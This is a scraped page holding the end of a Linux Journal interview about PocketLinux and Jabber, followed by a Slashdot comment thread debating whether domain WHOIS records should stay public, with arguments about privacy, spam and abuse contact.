of presence detection, which Jabber includes? Have you guys made something out of that? Paul: Let's take the example of the weather app again. You could be set up so that every time you go online your presence gets known by the Jabber server. It can say ``Hey, I'm here.'' And the server can respond accordingly, giving you a fresh weather map, a calendar update or whatever. ELJ: This kind of brings back the concept of push, doesn't it? Paul: Yeah, sure. Push technology is used whenever the client is not expecting the data--any sort of alert, such as a news bulletin about a stock that the client is watching. The client has a lightweight message passing service, which will then deliver that message to the application that is interested in it. ELJ: How does this work, exactly? Paul: Your client apps register with this ORB--object request broker. And they tell it what XML name spaces they are interested in. Based on whatever namespace that XML packet comes in as, that's what applications it gets sent out to as well. ELJ: How do you do name-space reconciliation? If you have a lot of different servers and applications running on those servers, each with different memberships in their respective name spaces, with some overlap...I know Jabber conceives your fundamental name as an e-mail address, but that doesn't have to be the case. How do you deal with all that? Paul: The name space comes with a resource attached to it also. So in our case we might have a kind of a PocketLinux server, so I might be paul@pocketlinux.com/ipaq. I might also be paul@pocketlinux.com/helio, for instance. If I want to send a message to a specific device, I use the same resource mechanism that's already there. Right now with Jabber you can log on, using multiple clients. You can be logged in from work or home. And you can actually have the server direct messages to one of those specifically, while if you take off the resource portion of that address, it will deliver to whichever one is online. ELJ: So the resource is in charge of what space each name belongs to? Paul: Yeah. ELJ: What about privacy and crypto? Paul: We're kind of relying on the Jabber guys here. In the case of server-to-server connections, they have something in place--I think it's SSL, but I'm not positive. They also have something for using either PGP or GPG, to either a-sign or b-sign and encrypt messages. So it's fairly feasible, especially on a device like the iPAQ, to put a privacy guard on there and use that to talk securely with any of your friends. ELJ: What about the various cell and phone companies? Have they shown an interest in what you're doing? Tony: I think I can safely say that many hardware manufacturers from all over the world have expressed more than a passing interest in PocketLinux. Paul: And in Jabber as well. Tony: Yes, that's right. If PocketLinux is anything at all, it's the ability to write an infinite number and variation of extraordinarily compelling client apps, extraordinarily rapidly. Of course, interfacing that framework with Jabber creates a system where the whole is greater than the sum of the parts. We're very excited to be working with them. Paul: The Jabber.com guys are focused on the server. They have instant messaging clients, and instant messaging is a cool application; but Jabber can be used for so much more than that. And that's where our client comes in. PocketLinux is a client for Jabber where you're not limited to just instant messaging. It's a core part of the communications framework within PocketLinux. ELJ: I had not thought before about the implications of being able to develop a client very rapidly. Tony: Again, classic instant messaging is a great app, but there is so much more that you can do with Jabber as a generic XML transport. The problem is that we tend to understand instant messaging in terms of a networking paradigm that is perhaps a bit outdated. The networks of the future will be these small devices, always on, always connected and connected at extraordinarily fast rates. The amount of XML data that we'll be able to push down these broadband pipes will be orders of magnitude beyond what instant messaging could deliver even a few years ago. ELJ: It's so different in kind. That's the thing. It's sort of like extrapolating from telegraph to television. Tony: That's exactly
http://www.linuxjournal.com/article/4458?quicktabs_1=1
CC-MAIN-2014-52
refinedweb
4,570
74.19
In this program, you will learn to find all roots of a quadratic equation in Java. Also, you can use the Java compiler to compile a program. Program to implement all Roots of a Quadratic equation in java The standard form of equation is: ax2 + bx + c = 0, where a, b and c are real numbers and a ≠ 0 The term b2-4ac is known as the determinant of an equation. The determinant tells the nature of the roots. - If the determinant is greater than 0, the roots are real and different. - And determinant is equal to 0, the roots are real and equal. - If the determinant is less than 0, the roots are complex and different. SOURCE CODE. import java.util.*; class quadratic3 { public static void main(String args[]) { int e,a,b,c; double l,x,y; Scanner s= new Scanner(System.in); System.out.println("Enter value a,b,c:"); a=s.nextInt(); b=s.nextInt(); c=s.nextInt(); e=b*b-4*a*c; if(e<0) { System.out.println("NOT REAL"); } else if(e == 0) { x = -b / (2.0 * a); System.out.println("The root is " + x); } else { l=Math.sqrt(e); x= (-b+l)/(2*a); y= (-b-l)/(2*a); System.out.println("equation= "+x+" & "+y); } }// END OF MAIN }//END OF CLASS OUTPUT. C:\A>javac quadratic3.java C:\A>java quadratic3 Enter value a,b,c: 1 4 4 The root is -2.0 OR C:\A>javac quadratic3.java C:\A>java quadratic3 Enter value a,b,c: 1 5 2 equation= -0.4384471871911697 & -4.561552812808831 Also view: – Command-Line program find the Largest number 3 Comments on “Program to implement a Quadratic equation in Java” Thanks for the info 🙂 I think this is among the most vital info for me. And i’m glad reading your article. But should remark on few general things, The site style is great, the articles is really nice : D. Good job, cheers Hey very nice web site!! Man .. Beautiful .. Superb .. I will bookmark your blog and take the feeds additionally…I am happy to search out so many helpful information here within the publish, we want work out extra strategies on this regard, thanks for sharing.
https://technotaught.com/program-to-implement-a-quadratic-equation-in-java/
CC-MAIN-2022-21
refinedweb
372
66.54
span8 span4 span8 span4 Hello, I'm trying to get open LiDAR data from As I only need an extent, a big one nonetheless (Xmin = 40050, Ymin = 202950, Xmax = 48385,3778, Ymax = 206209,4442, EPSG: 31370) I always get the same error on I guess the same area. --------------------------- HTTP transfer error: 'Failure when receiving data from the peer' XML Parser error: 'Error in input dataset:'' line:1 column:415988 message:input ended before all started tags were ended; last tag started is 'gml:posList'' The XML Module halted on error, see the logfile for details --------------------------------- I'm just taking my first steps in fetching data from WFS and WMS trough FME so I'm a bit lost to what the problem is here. Is this server sided or is my request wrong? If more information is needed, just let me know. Andreas It is the combination of the WFS reader and the FeatureReader that is causing the problem. It doesn't seem to matter what reader you are using inside the FeatureReader. I will create a problem report for this and notify you as soon as it is fixed. In the meantime, using two FeatureReaders instead seems to work - use the first for the WFS and the second for the LAZ. Hey @daveatsafe, Thanks for the answer, I will try your solution! Is there a reason why I don't get the search envelop option when i'm using the feature reader? is there a workaround? edit: Can you maybe show me a screenshot of the solution so I can replicate it? Andreas Hey @daveatsafe, I did use your solution, and it did work for a certain project using the 2 featurereaders ! But now I'm using the same module for another project and I get the exact same error I used to get before. In the meantime i did upgrade to FME 2019. Can this be the result of updating? or is there still something wrong with the WFS module? Kind regards, Andreas @daveatsafe Here is a view of my module. If you need any more information just let me know. Thanks for helping me with this problem. It still crashed, until i changed the WFS version on the wfs reader to 2.0.0 ..and it still crashes this time at request whatever i try iget this error eventualy at seemingly at random(?): HTTP transfer error: 'Failure when receiving data from the peer' XML Parser error: 'Error in input dataset:'' line:1 column:589673 message:input ended before all started tags were ended; last tag started is 'gml:posList'' The XML Module halted on error, see the logfile for details Hey @gio and @daveatsafe It indeed works for certain areas, as I already tested it for some smaller areas. But when i run this on the big extent, I do indeed also get this error which seems to be something with the xml? I'm curious if this can be solved by changing some of the settings in the featurereader? or is this something that is server sided? Also the error doesn't seem to be at random but at a certain tile (if you click your link and mine they both look identically the same, well the first and the last tile id are the same) but i can't figure out which one gives the actual problem as my knowledge of xml is not yet sufficient. Andreas Hi, You could read the lidar tiles with your search envelope and then trigger the FeatureReader with tile location string (which you got from the WFS reader). Rather then trying to spatialy query the laz tile sets. like this i limited it to sampled 3 for testing. 17.7 sec for 3 laz. Pretty fast service it is. And the namespaceprefix error is caused when you stringconcatenate in the feature reader. This is why i made the stringconcatenation outside the Feature Reader in the attribute creator. Maybe because then the special characters are mutilated by fme(?).. just geussing here.. Hi @daveatsafe if i open my browser to read the data, i got this error. This is also a screenshot of my featurereader to download all the LAS-files from the dataset. Maybe here lies the problem? Or could it just be a server sided problem that lies with the remotesensing agiv itself? I'm still looking deeper into this problem, thanks for the help already. Andreas I think you can not read a WFS with a LAS reader? Hey Niels, I'm not using a LAS reader. I'm using a WFS to get the data from the site and later on I'm using a featurereader to get the actual .las files from the server. This has worked when I ran this module as a test for small areas. But for this large area I'm getting an error which I am trying to solve. Here you can see the module I'm using to get pointclouds inside certain contours. My bad, I did not understand correctly. I just used the default settings in FME 2018.1: I tried the service from my local computer and from an AWS instance - in both cases it read all the features in about 15 seconds. You can also try using a browser to read the data, using the link: If the browser fails as well, then it may be an issue with your network. If it works, then try adjusting the Connection Timeout in the reader. Hey @daveatsafe I have changed those parameters (5000 sec) but it still gets stuck. Can you maybe show me your other settings from the wfs reader? So I can check if there are any differences. Also I'm using FME 2018 but I don't think that could be the problem. Thanks already for running this writer. Answers Answers and Comments 5 People are following this question.
https://knowledge.safe.com/questions/94791/problem-wfs-query.html
CC-MAIN-2019-43
refinedweb
982
72.05
Are Public WHOIS Records Necessary? 122 Logic Bomb writes: "CNN is hosting an interesting article from the Associated Press about WHOIS records. Privacy advocates do not like that the owner of a domain name, along with personal contact information, must be made public. It's an interesting issue embodying some larger debates, like whether one truly "owns" a domain name. A justification for public databases of registrants, given by one person quoted in the article, is that the domain name system is a public resource, and therefore you only own the right to use a domain name, not the name itself. People have a right to know who is controlling elements of a public resource, so whois records should be open to all." Re:Spamming is so easy... (Score:1) I just started getting nailed with spam, and from big names too like verizon, and abercrombiekids at an addresses that didnt even exist until a few days ago. Well, actually, since I added that address to my qmail dot files the mail is getting through now. The address must have been build from my first name and my domain. Theres only one place where that info would have come from. But the spam company does give my the option of opting-out, FROM EACH SPAM CAMPAIGN, ONE AT A TIME AS THE SPAM COMES IN. Behold the convenience I should note that I add new aliases all the time to help me track - and stop - the sources of spam. So do I, but I do it with Sneakemail [sneakemail.com], thats what it was made for. A few experiences... (Score:2) Also, when I found the exploit [geekissues.org] in MBNA [mbna.com]'s online credit card application system, it is precisely this information (I also own a .org and a .com domain) they used to contact me and threaten me in several ways. -- Re:No more Network Solutions (Score:1) If I'm corresponding with salesperson@some-business.com, and they're not conducting business in an appropriate manner (e.g. insulting my mother, lying about the product, etc.) then the WHOIS records can probably point me towards someone above their head to talk to. Another way of looking at it is if someone creates a domain for spam, and starts harassing me, WHOIS gives me contact info for the owner. People who realize that their domain's registration info is publicly available are probably far less likely to do immature things like spam... Re:Example: WHOIS information for slashdot.org (Score:1) $ fwhois slashdot.org@whois.internic.net Re:WHOIS should stay. (Score:3) I always check WHOIS for a domain before sending out those "abuse@" and "...master@" type emails, just in case. We recently had a major series of alerts on our firewall from a host in another ISP's address pool, and it looked very much like we had been compromised. Ran WHOIS against the offending domain and it turns out to be the personal domain of a consultant we were using who had locked himself out of our system and was trying to get back in to fix the problem. The matter was "discussed". Without WHOIS though, the guy would have got a napalm enema from his ISP because he tried to avoid getting us out of bed in the early hours or the morning. Let's face it; the only people who really stand to gain from removal of the WHOIS database are the companies that have something to hide and generate most of the negative press the Internet receives. Or can someone provide an example of a genuine, non-privacy, reason to withhold details from WHOIS that cannot be worked around? We are talking about a technical contact here; an employee who's views may not reflect that of the employer, and may even work for a different company remember. And as for spam, I use a dedicated email address for this type of thing anyway, which means you can really tighten up the email filters... Or alternatively, has anyone tried submitting a fred@NOSPAM.domain.com type email to WHOIS to break the spammer's scripts? Re:WHOIS should stay. (Score:2) -- Domains names are not public resources (Score:2) But there is _not_ only one DNS namespace, DNS entries are not public resources. Missing the point - admins need whois info (Score:3) Suddenly, we'd have to ask some "third party" to handle abuse queries for us, as we wouldn't be able to contact the registrants of particular domains directly. Whats the bet that this third party would a) charge for this service and b) only operate in US time?? This situation would be untenable, and if anyone seriously proposes that this be done, I don't think any ISP would actually back it. chrome. This is Moronic (Score:1) Re:WHOIS should stay. (Score:1) "Now, you have regular people using it and there's a much greater need to protect privacy," he said. I think that about sums up the problem. "Regular" people can see who is who and owns what. Can't have the peasants getting too informed can we? Re:Home address (Score:1) Re:I "abuse" it (Score:1) Are you saying that a society can only function if the source of all information is public record? I think that's nonsense, I even think that "anonymous pamphleteering" can be of great value. It provides a means to express unpopular views. Expression of unpopular ideas is good. The fact that anonymity can be abused for fraud is less important than the protection it can offer those who have unpopular, but important, things to say. You mean the WHOIS record for their domain listed the 'parent' companies? If they got 'em that way, they've just been stupid. Yep, that's definitely the smarter solution (Score:1) Guess, I didn't see it enough from an admins perspective who has to contact somebody (or multiple entities) at once. And ten days for 16 addresses sounds like enough to deter a spammer. You mentioned naive and I fear you're on the spot here. Somebody, somewhere finds a way to hack it. Even if this means bribing somebody who's in the position to get that information without restrictions. Re:Give us the choice! (Score:1) ~cHris -- Chris Naden "Sometimes, home is just where you pour your coffee" Loss of privacy. (Score:1) Re:Minimal information set (Score:1) YES! They are *absolutely* necessary. (Score:2) I actually believe two things. 1) The email addresses given for domain registrations should be *private* and for administrative purposes only. STRICTLY for administrative purposes only. Not to be sold to spammers. 2) Mailing addresses and other standard contact information should be made available as to who the registered owner is. Technical contact should always be reachable by phone. Real owner should as well. No fraudulent information should be accepted. 3) There should be a standard email address at every domain like 'domain@' whom will receive mail related to the domain. But let's remember, again, what gives this power. If icann ever gets really out of hand, alittle friendly revolt (generally without some other party trying to rise to power) will take care of the situation. Re:Yeah, I am called Bill Gates and I live in RedM (Score:2) Sure, they historically don't do anything about it.... but believe it or not, in this case, Mr. Gates *could* SUE you, quite easily, if you had pretended to be him registering a domain. And yes. I know you were being funny. And it was! Re:WHOIS should stay. (Score:1) Re:Is this really such a big deal? (Score:1) This is also how I deal with all those annoying mandatory questionnaires in Eudora, etc.: give the wrong age, wrong gender, wrong zip code and income, wrong everything. If enough people give fake info, it will remove the incentive to try to collect the info. If spam is a problem, people can pick an ISP that uses spam filtering. -- Re:I "abuse" it (Score:1) You need the registrant information, simply to contact people. Whether or not you put your actual info down is another thing entirely - as long as it goes to an email address that gets to you, then put whatever you want. I've tracked down a number of spammers using a chain of whois info (whois the spam domain. Find out who owns it. Whois the owner. Find their owner. Whois that owner. Find a contact email and number. Yell/LART as desired). I've contacted businesses based on their domain and info provided - I'd say you put up as much as you want, but there must be some way to contact you. Someone suggested a front that you register with, and they then pass the info. Fine. As long as I can get to the source, I don't care. And I don't put my info in registrations - I put down my first name, last initial, and an email alias. The rest of it is either company info or a po box. Protect your own privacy, and limit as little as you can at the base. So there. Re:Domains names are not public resources (Score:1) between domainnames and ip addresses. Then you can have contacts for the machines and contacts for the domains, with the machine contacts being very useful to network people, and domain contacts being more useful for business purposes. It's really a data normalization problem. The ip addresses must be unique in one table, with domain names not having to be unique once they are qualified with the rootserver. Once split, technical contact still works, but you can have competition for nameservers, and in fact, can create new TLDs. Re:I "abuse" it (Score:1) Speaking as someone who has been rung up, threatened, and verbally abused, as a direct result of some content on a domain that was in my name, I would simply like to say "fuck that". I'm simply glad I listed a PO box as contact address, rather than my residential address, since the individual in question lived in the same town. I imagine if that had not been the case, I would have ended up on one end or another of some assault charges. Re:Who said that? (Score:1) You don't have to know any Unix tools to do a whois. All you need is internet access. See here [swhois.net], here [amnesi.com], here [allwhois.com], or just do an internet search for whois. You'll get a ton. But, if you take precautions, the info they can get isn't anything special. Slashdot's info [amnesi.com] is a good example of how the email can be set up. For security reasons, the phone number should be an 800 number. If it is not, someone can use a war dialer to dial all the numbers on that phone exchange to figure out which lines, if any, have dialup servers. There are still plenty of cracks where the initial point of entry is a dialup server, believe it or not. Re:A few experiences... (Score:2) Imagine you live in China or some country like that and you're trying to criticize the government on your website. Oh, but you really can't do that because they can easily know where you live and that can be dangerous for your life! Or imagine you're a writer running a weblog, showing some of your provocative writing to the world, infuriating by chance members of some conservative community. Now they too know where you live, they can surely drive down to pay you a visit, harrass you, throw things at your house, nice stuff like that. I see a lot of posts talking about how this is useful for network admins (for spam or DoS issues, for instance). It is. But think about how the Internet is being used today; this is NOT your academic environment of yore when you used the Whois DB to get in touch with your fellow hackers, talk about routers while getting a beer. The Net is being used for many other activities, some of which need and deserve some amount of privacy. And I also think the get-yourself-a-geocities-account-then answer is not acceptable. What about useless whois info? (Score:1) Registrant: MatrixHost not listed Notlisted, Notlisted 99999 United States Registrar: Dotster () Domain Name: MATRIX-HOST.COM Created on: 13-NOV-00 Expires on: 13-NOV-01 Last Updated on: 13-NOV-00 Administrative Contact: Levites, Seagen seagen@matrixhost.com MatrixHost not listed Notlisted, Notlisted 99999 United States not listed Technical Contact: Levites, Seagen seagen@matrixhost.com MatrixHost not listed Notlisted, Notlisted 99999 United States not listed Domain servers in listed order: NS1.DOTSTERINC.COM 216.34.94.170 NS2.DOTSTERINC.COM 64.85.73.15 Re:Excuse me? Heard of "Realty Trusts"? (Score:1) Last I checked most free web page services required a real name and addy. *snort* Of course, if they don't verify, it would be easy to circumvent While it's not a matter of free web hosting, but rather free access to a website, I offer the following: nytimes.com, to the best of their knowledge, believes me to be a middle-aged woman with a PhD who makes 60-80k/year. I don't think they have any more going in the way of verification than sites giving away webpages. whois database (Score:1) my question is, how many people actually know of whois? i bet, that not many - sure all of us geeks know it but who else? typical internet-home users have no idea of it. imho it should be freely available as it has been (if you know where to look for, nowadays) An ounce of prevention (Score:3) However, some measures should be implemented that make address harvesting totally unprofitable. For example: The web accessible database only reveals the name (or company) that owns the domain. To get all the information you have to request that by e-mail. This would allow the following scenario: Only one request per e-mail A maximum of three requests per day, per e-mail address. Alternatively: only one request per e-mail address can be pending. All other requests are trashed A three hour delay between the request and the response Known spammer domains are not eligible to retrieve the information This would have to be applied on a world wide scale, meaning that all registrars and all country nics must adhere to those rules or have their registration privileges yanked. Would this make abuses of whois impossible? Probably not. But it would make address harvesting very uneconomic. Considering that spammers are gread freeks by default they would try different attempts to gather mail addresses. Re:Home address (Score:1) Name Ownership (Score:2) So if the individual only buys the right to use a name - who owns the name? The public? Hardly. One doesn't pay the public trust for use of the name. One pays the registrar. When looking at some of the registrar contracts, one gets the distinct impression that registrars are claiming ownership of these "public resources". Which is worse? (Score:2) OR You have no method of finding out who is behind a site. Oh, that linux site was registred by foo@microsoft.com... I say tough luck Clark Kent! Public WHOIS (Score:3) The other side is the desire, even the need for anonymity in some cases. In no event should any corporation, or other business entity, ever need, or be allowed to act anonymously. That should be reserved to individuals only, and used wisely and with discretion. That said, ALL commercial URL's should be required to comply with legal alias/assumed name registration. The rest of us, well, leave it to our individual discretion, but please do respect the need for occasional complete anonymity. Re:MOD PARENT UP!!! (Score:1) Shouldn't you be off playing with yer new playstation 2 anyway? I use it to complain about SPAM (Score:2) The responses have been generally fair. Most times they say mea culpa (sp?) and trash the account of the SPAMmer. Of course they just move on to another ISP but it's an inconvenience that's my only legit weapon against them. I say keep this DB. The details don't need to be personal afterall, they've got their own domain! They can give a Title instead of a name and an e-mail address in the domain instead of a personal one. This is an important resource in the fight against people who run such appaulingly insecure mail servers that SPAMmers the world over use them with impunity. Every mail server that's closed up is one less that SPAMmers can use. Craig. Domain names and business names. (Score:2) 1. I can investigate possible names for my business without having to do a full trademark search for every one. This is deeper than just checking to see if a domain is available because... 2. Some companies have marginal claim to a domain based on their current corporate name or product names and may be willing to part with it, if it is not currently hosting a web site. In this case, it is nice to be able to email or phone a human and ask about the domain's status. I currently hold about 20 domains. About a third of those are actively being used, and the rest are pseudo-speculation for my business: I want the domains for future branding reasons, but there is no guarentee that I will actually use them. I am quite happy to supply my contact information regarding those names. Truth be told, I would appreciate being contacted if someone else felt they had a claim on one of the names. And I don't mean that I want to make buckets of cash reselling the domain: it simply makes business sense that if there is already a strong brand, I should probably avoid it for my own business. On a personal level, as others have mentioned here, the information I have provided is already quite public, although not necessarily so accessible. Is there any current tracking of whois lookups? I don't know for sure, but I certainly doubt it as the quantity of data would be substantial. Such tracking could conceivably be used as discouragement against inappropriate use of the whois data, similar to the tracking of credit information requests. But, such tracking also begs the question... it is also somewhat of an invasion of privacy. Also like other posters, I don't think it's that critical of an issue, and anyone who is making it so should probably be picking a fight elsewhere. I personally find whois useful, but neither would it destroy me if it was no longer publicly available... Re:WHOIS should stay. (Score:2) Agreed completely - but can we please NOT follow the example of web2010.com, who created the following WHOIS entry for me on a domain of mine: whois holly-marie-coombs.com@whois.corenic.net [whois.corenic.net] James Sutherland (template COCO-645538) jas88@cam.ac.uk 20 Young St Craigie Perth, - PH2 OEF uk Domain Name: holly-marie-coombs.com Status: production Admin Contact: James Sutherland (COCO-645538) jas88@cam.ac.uk +441738443515 (snip) Contact information is one thing, but my home address and 'phone number?! Re:Frankly (Score:1) Minimal information set (Score:1) I have used the WHOIS information on several occasions: So it appears that all that is really needed for public WHOIS is: Does anyone really know what internet time it is??/Does anyone really care?? Re:I "abuse" it (Score:1) The argument for anonynimity is not an argument for impersonation. What sickens me.. (Score:2) Take DNS. I had no problem with NetSol running the Internic way back when. I had no problem with the 'rules' about who could regiser what. I even had no problem when the US Govt. stopped funding the thing, and Internic started charging a registration fee. (I mean, it DOES cost money to run the registry). The thing that I have a problem with, is netsol went from honorably running the registry, to turning the registry database into a commoditty; rather than something available to everyone, anytime, it was now something they wanted you to pay to access. Then they started hiding email addresses.. and just basically changing the rules. Notice that they didn't even attempt to rock the boat until they got really big. The thing that gets me is, they got the valuable information, or shoudl I say potentially valuable, because people, consciously or unconsciously, trusted them to run the registry in a cool manner. Now they screw it up. Re:Can't compare it with a phone directory (Score:1) URLs and e-mail addresses can certainly be "unlisted" and provide you with whatever levels of privacy are actually possible. As the registrant of a domain, though, it makes sense for you to have contact info available in the case where other system operators need to contact you because of abuse coming from your site, in order to track down problems in the (shared) Internet network infrastructure (though these days, this is less common), etc. If you're worried about someone knowing that you own or whatever, you can always register under an assumed name and use a P.O. Box address (you can even get "anonymous remailer" P.O. Boxes). As long as you have a legitimate e-mail address where you can be contacted, so the registrar can send you your forms, and a valid method of payment, the registrars don't really care very much what name and address you use. This may be more trouble for you, but if privacy is a concern, you can get a reasonable amount of it without denying others in the community the ability to contact you about your site if it seems to be the source of some issues. (An argument could be made that you can always send such issues to root@domainname.com - but I think the ability to send a "cease and desist" letter to persistent spam sites and other nuisances is of some value - though, of course, the registrars don't actually check valid physical addresses...) While I can see the valid points of both the privacy argument and the community argument, I think one can get reasonable enough privacy protection if desired that having WHOIS public is not such a big negative deal and the community seems to like having it... Just cause it's on the net.... (Score:1) And, on top of that, in Canada (where I am) there are laws that govern the request for information. I can submit a request to city hall for any public records, and any company that exists, more of their records are public than they think. The company from whom I request has a set period of time to reply with either the info that I requested or a damned good excuse, which I can appeal. It's not a matter of public vs. private, it's a matter of availability. Re:WHOIS should stay. (Score:2) Now if only these people actually read their email... I'm sure plenty of them do, but I recently tried contacting the admins at cw.net about a problem with their servers. They appear to be suffering some major traffic overload in the afternoons. My packets get routed through them when going from my ISP to my dedicated server, and two hops in cw.net's domain add over 600ms to the ping time. An 800ms ping may be okay for web surfing, but it makes a linux shell almost useless. -- Re:Access costs (Score:2) Man, some Americans are stupid. -- Re:WHOIS should stay. (Score:1) Isn't your address and phone number also contact information? And is there a good reason you provided your home address and phone as administrative contact information? Re:WHOIS should stay. (Score:1) When one of our customers "moves" a domain name to our system we have a nightly perl script that does a regex on the whois record for their domain to see if they actually changed the DNS and Tech contact over to our systems. Without whois, we would have a very hard time determining who had control over what domain, and where that domain was hosted! Re:Secret names in public domain (Score:1) Once upon a time, not so long ago, acutally, your claim would have been correct, but no longer. Re:Secret names in public domain (Score:1) The telco, ISP, and other services we buy are just that - services which get a person what they want: their own domain, which is public. I think we're just looking at the exact same thing from different points of view. Personal WHOIS spam story (Score:1) At work, our domain used to be hosted by a third-party, as we didn't have the in-house know how to do it ourselves. On the WHOIS information, one of the three contacts was someone at our company, while the other two contact points were people at that third-party that did the hosting. The e-mail address listed for the guy at our company was his first name @ our domain.com. However, when the people doing our hosting actually set up e-mail accounts, he went with his first initial followed by his last name. Furthermore, when we took control of the domain ourself (about 5 months ago), he vanished from the WHOIS information completely. This address that is not, was not, and will not be valid (except for a few days in the transition where I had set up the mail server to forward any unknown addresses to me; Postfix's luser_relay option for the curious). Scanning the mail logs for the past 4.5 weeks indicates 64 attempts to send mail to the address. For an address that, aside from a WHOIS record, was *never* used. Public disclosure is better (Score:2) Businesses can't be anonymous, at least in the US. There has to be an address for service of process somewhere. (If it's fake, winning default judgements is really easy.) So it's not a business issue. Spam is the only big problem, and only because it's still legal. We need to fix that. There are only a few hundred spammers, after all. So people can get your address. What are they going to do, come and beat you up? The idiots who threaten via E-mail are unlikely to do much in person. A friend of mine puts on her web site "If you have something nasty, dirty, whatever, to say to us, don't share your gutlessness here--come say it to our faces. You know where to find us--San Francisco, California. Just ask around..." Few take her up on it. All my domains carry my name and address. Maybe three times a year somebody says something nasty. Only one real threat in the last five years, and that was when I exposed an invention-broker scam. He's out of business and I'm still here. And I'm the guy who runs Downside [downside.com], which predicts dot-com failures. So quit worrying. Frankly (Score:2) ---- Re:Example: WHOIS information for slashdot.org (Score:1) whois queries to whois.internic.net and whois.networksolutions.com both (apparently) refer to whois.networksolutions.com, yet each give differing amounts of info. could this be purposely done to confuse old folks like me? or is my brain just fried from to much coffee this morning? I've puzzled over this one. The problem is that the whois database for the It could also have something to do with their terms and conditions of use for the database, too. I dunno - I'm not a registry -- And let there be light... so he fluffed the light spell Re:Access costs (Score:2) -- Re:Yeah, I am called Bill Gates and I live in RedM (Score:1) WHOIS should stay. (Score:5) OTOH, I dispise the commercial abuse of the whois database to spam those listed. WHOIS should stay, with strict penalties for those proven to data-mine and spam listees; Without involving the legal system it could simply be ruled that anyone guilty of wholesale mining of WHOIS would be effectively removed from the internet by putting all of their registered domains on hold. -- Greg Spamming is so easy... (Score:1) I'd hesitate to accuse them of selling the email database outright, since it's so damn easy to write a script that slowly scans whois for emails. But in my experience, very few people actually do that. Mostly, the same list gets sold and resold. Even when I use /etc/mail/access.db to fake that the address is dead, they keep re-selling it to new losers; after all, shouldn't you get more money for a big list than a small one? Spam is so fly-by-night that the consequences for selling crap addresses are small. I should note that I add new aliases all the time to help me track - and stop - the sources of spam. Boss of nothin. Big deal. Son, go get daddy's hard plastic eyes. No more Network Solutions (Score:3) -- Re:WHOIS should stay. (Score:1) It is contact information, but it is the wrong contact information! I do not control those DNS servers or that zone. They do. And is there a good reason you provided your home address and phone as administrative contact information? I didn't. That's why I'm complaining: this was the billing info for my credit card! I have no control over the WHOIS entry: they created it from my billing info without informing me. Give us the choice! (Score:1) Is this really such a big deal? (Score:5) Re:WHOIS should stay. (Score:1) Ah, I see now. My apologies for assuming too much. That is wrong, but it isn't something wrong with WHOIS. Your registrar screwed up, either by accident or design. You should fix that. Only the really cheap, fly-by-night registrars charge for changing contact information (as opposed to registrant information). Oh, and the only contact that needs to be related to contol of the DNS zone is the technical one. You want that one like that so they can make necessary changes if the name service changes. The rest of the contacts are usually related to the registrant. alias (Score:1) Please forward all criticism to Miss Lydia Finnigan 912 Bells Avenue #77 Detroit, MI 48116 313/626-4200 I "abuse" it (Score:5) Tansparency and openess is essential to a (socially) functioning internet, and that can only be acheived if the source of all information is public record. In British Columbia four or five years ago, it was uncovered (after a lot of investigative work) that a pro-forestry "citizens group" that did a lot of pro-job/anti-hippie lobbying of the government had in fact been set up, funded and controlled by a joint effort of Interfor and MacMillan Bloedell (two forestry companies). A massive abuse of public trust and gross misrepresentation to the public that put a whole pile of egg on both corporations faces.... the bottom line is that this organization masqueraded as a "citizen's group" for several years before being exposed, and only after a very exhaustive investigation by several media outlets and environmental groups... Don't want your name in the DB? Use a Role. (Score:3) Technical contact should almost always be a role anyway, to save great amounts of trouble when your IT guy with his name on all your domains leaves. Any self-respecting ISP that registers domain names frequently will have a generic internic@isp.com or something similar for interfacing with domain registration. just another sign of the times (Score:4) It seems to me that this is changing. The whois database used to be just a simple means of finding out who owned a website, getting their contact information, and then contacting them. Now-a-days, it's become a means of grabbing more email for spam, or for offers to buy the domain from them, or (in a worst case scenario) it helps people figure out who to sue. Idunno, i look back and i think, when i started on the 'net, i saw it catching on and i thought this would be a great way for people to change their ways; learn to live in a communal environment where everyone played by the rules and those who didn't were swiftly and effectively dealt with... seems to me rather than the internet changing us, we're changing the 'net. FluX After 16 years, MTV has finally completed its deevolution into the shiny things network Home address (Score:4) Add that to the registrar's claim that *they* really own my domain name anyway, and if they take it from me or accidentally "lose" it ("oops, well too bad for you") I'm out of business. What can you say about a company that claims ownership of your property, can cost you your job, and puts your family's lives at risk? What are they going to do next? Poison our water supply? ownership of domains (Score:2) I've not thought about this enough to formulate my own views on the ownership of domains, but I expect that they will be considered private property that can be owned outright, and they will be treated accordingly. Thus, the public databases will go away, as, barring an outright change in the attitude of lawmakers, they should. Re:The sign - $ (Score:1) idunno. i think that's beginning to sound like "how does an aids patient survive HIV" answer: they don't. FluX After 16 years, MTV has finally completed its deevolution into the shiny things network Net::ParseWhois (Score:3) Abe Why display the data? Look at Nominet's solution. (Score:4) The WHOIS data publically available looks as follows:- All companies who wish to administer and register domains apply to become members of Nominet, with membership you get a , this can be looked up and tell you who is technically responsible for the domain. Each domain registered is tagged with this and this allows me, with the correct PGP signature, to change any of the details on the domain. It's up to the registering company to decide how their customers specify changes and many have automated systems of their own. And if you're wondering wether this would work for large domain spaces like .com, .org and .net then the answer is almost definately a yes - .uk is the largest country specific domain space - thanks to Nominet fees being just £5 (Thats $7.20) for two years. Some companies charge this and nothing else and many ISPs give domain names away simply for using their dial-up service. The Whois database (Score:2) Recently I have received a spam regarding some kind of "pre-registration" scheme of new top level domain names with a link to a website. Now how do I know if this is for real, or just another scam (e.g. e-mail address harvesting)? How else can one start investigating other than going to the Whois records? Re:ownership of domains (Score:1) The public databases are needed so that we can find who actually does "own" a domain -- it doesn't need to be my home address, any mailing address (like a PO Box) will do, just so that I can be mailed the renewal notice or any valuable offers for my prized domain name Re:Analoguous to land records (Score:1) >record of it somewhere that's accessible by >everyone. Yes, and now that I am a happy homeowner, I get vast quantities of paper spam from everyone who has bought my county's property records. At least they don't have my (unpublished) phone number. I already get phone spam because I got a recycled number. I want to register a domain. I am looking at that right now. But I don't want to open myself up to spammers, junkmail, telemarketers, stalkers, or any other lowlife who knows how to use whois. Re:WHOIS should stay. (Score:1) Does it really matter? (Score:2) I have several domains under gTLDs, well actually they're all ©org but that's besides the point - and my name and address appears on all of them - does it bother me? No, and I'll tell you why© The details on my domain records are available easily to anyone who has the time and inclination to look for for them, they appear on my CV on my homepage, in the WHOIS info for my domains and in the WHOIS info for my NIC handle© Even if this information wasn't available in those places, I'm pretty sure it wouldn't take long to track down - anyone who knew my name ¥which also appears on my homepage on the CV and the bottom of each page could find out where I lived without much difficultly - I'm pretty sure electoral registers are public information, armed with my name and roughly where I live ¥also on my page you can find out my address with out much 